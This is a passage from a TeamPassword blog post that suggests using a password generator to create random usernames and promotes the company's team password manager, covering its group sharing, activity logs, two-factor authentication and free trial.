Random username generators are also excellent for security because you avoid familiarity, making it less likely for attackers to find you.
&nbsp; &nbsp;&nbsp;
<h3>Use a Password Generator</h3>
Password generators are great for creating unique username ideas. Password generators produce random strings with letters and numbers, significantly reducing the possibility of someone identifying you.
Try creating a username with TeamPassword's password generator:
<ol>
<li style="font-weight: 400;" aria-level="1">Visit our <a href="https://teampassword.com/password-generator" rel="follow noopener" target="_blank">free password generator</a></li>
<li style="font-weight: 400;" aria-level="1">Deselect symbols (most platforms don't allow symbols in the username. Keep this selected if your platform does allow it!)</li>
<li style="font-weight: 400;" aria-level="1">Our password generator only allows a minimum of 12 characters. If you need a shorter user name, drop the characters you don't need</li>
<li style="font-weight: 400;" aria-level="1">Copy/paste your random username to use when signing up for a new account</li>
</ol>
Remember to use our password generator with uppercase, lowercase, symbols, and numbers to create a secure unique password.&nbsp;
TeamPassword's password manager features a built-in password generator that suggests and pastes a strong password into forms during signup or resets. <a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a free 14-day free trial</a> to start managing your usernames and passwords securely.
&nbsp; &nbsp;&nbsp;
<h2 id="howyoucansecureyouraccountsusingapasswordmanager">How You Can Secure Your Accounts Using a Password Manager</h2>
Usernames and passwords are the keys to your individual and company accounts. These credentials prevent attackers from breaching your devices, networks, social media, apps, financial services, and more.
Most companies have hundreds of accounts requiring authentication daily. Often team members need to share access, especially for social media, research tools, productivity apps, store accounts, and marketing tools, to name a few.
<a href="https://teampassword.com/blog/secure-password-sharing">Sharing credentials</a> over email, chat, or via spreadsheets exposes your company, clients, employees, and users to many cybersecurity risks. In some states and countries, sharing passwords this way is illegal!
Using a <a href="https://app.teampassword.com/dashboard#signup/testimonial">password manager</a> is a secure and efficient way to store and share your company's credentials.
Here are five reasons to choose TeamPassword for your company:
<ol>
<li style="font-weight: 400;" aria-level="1">Affordable - Enterprise-grade password managers are often expensive. TeamPassword provides small businesses, agencies, and startups with an affordable password management solution.</li>
<li style="font-weight: 400;" aria-level="1">Secure - TeamPassword is an <a href="https://teampassword.com/blog/what-is-password-encryption-and-how-much-is-enough">accredited secure hosting provider</a> using state-of-the-art encryption technology. We store your passwords using AES-256, trusted by US government agencies and many other organizations globally.</li>
<li style="font-weight: 400;" aria-level="1">Efficient - Share and revoke access in TeamPassword with a single click. Quickly create passwords using our built-in <a href="https://teampassword.com/password-generator">secure password generator</a>.</li>
<li style="font-weight: 400;" aria-level="1">Scalable - TeamPassword's plans scale with your business. Start with as few as five members and upgrade your plan as your workforce expands.</li>
<li style="font-weight: 400;" aria-level="1">Flexible - Employees can sign into accounts using TeamPassword's Chrome, Firefox, or Safari browser extensions&mdash;catering to both Apple and Windows users.&nbsp;&nbsp;</li>
</ol>
&nbsp; &nbsp;
<h2>Password Management With TeamPassword</h2>
TeamPassword makes it easy and secure to share credentials with employees, clients, freelancers, and contractors. Everyone gets a separate TeamPassword login to manage access and monitor activity.
TeamPassword encrypts your passwords, making it impossible for employees (or even TeamPassword staff) to preview raw credentials.
&nbsp; &nbsp;
<h3>Sharing Access With Groups</h3>
Add your team to TeamPassword and create groups to share access to your various accounts. If an employee, contractor, or freelancer leaves the team, simply remove them from the group&mdash;no need to worry about changing passwords!
If you're an agency working with multiple clients and accounts, one TeamPassword account is all you need! Just increase your plan accordingly.
&nbsp; &nbsp;
<h3>Activity Logging</h3>
Keep track of TeamPassword activity, just like an enterprise password manager does. Monitor logins, password changes, credential sharing, and more to spot suspicious activity.
TeamPassword also lets you set up email notifications&mdash;helpful in monitoring sensitive accounts or specific actions, like sharing or adding new users.
&nbsp; &nbsp;
<h3>Two-Factor Authentication (2FA)</h3>
Enabling 2FA on your TeamPassword account prevents attackers from gaining access, even if they steal your employee's username and password.
TeamPassword uses the Google Authenticator app (iOS &amp; Android), requiring a six-digital randomly generated code as the second authentication step. Without the employee's device, hackers can't complete TeamPassword authentication.
&nbsp; &nbsp; &nbsp;
<h2>Start With a Free Trial</h2>
Coming up with unique username ideas isn't enough to protect your company's digital assets from attack. Protect your company's usernames and passwords with <a href="https://app.teampassword.com/dashboard#signup/testimonial" rel="follow noopener" target="_blank">TeamPassword</a>.
<a href="https://app.teampassword.com/dashboard#signup/testimonial" rel="follow noopener" target="_blank">Sign up for a 14-day free trial</a> to test our robust and efficient sharing features with your team today!

See the best way to come up with a new username. We break down types of usernames and give you the best username ideas out there.

See the best way to come up with a new username. We break down types of usernames, why ...

How to Make a Good Username | Create a Unique and Secure Username

See the best way to come up with a new username. We break down types of usernames, why secure usernames are important, and how to create them effectively!

TeamPassword Blog

Browse our carefully created articles about Information Security, Password Management, Product Information, and Modern Business, all written with your team's safety and success in mind.

Most popular articles

Password Management

August 3, 2023 ∙ 12 min read

What To Do If You Forgot Your Old Facebook Login | TeamPassword

What is password encryption and how does it work?

Top 5 Dangerous Ways to Store Your Passwords

How to Make a Good Username | Create a Unique and Secure Username

Cybersecurity

August 31, 2022 ∙ 4 min read

Cybersecurity Series: What is cross-site request forgery (CSRF) and how to defend against it

Cybersecurity

July 19, 2022 ∙ 6 min read

Cybersecurity Series: What is cross-site scripting (XSS) and how do you defend against it

The Password Manager for Teams

Product

Support

Channels

Legal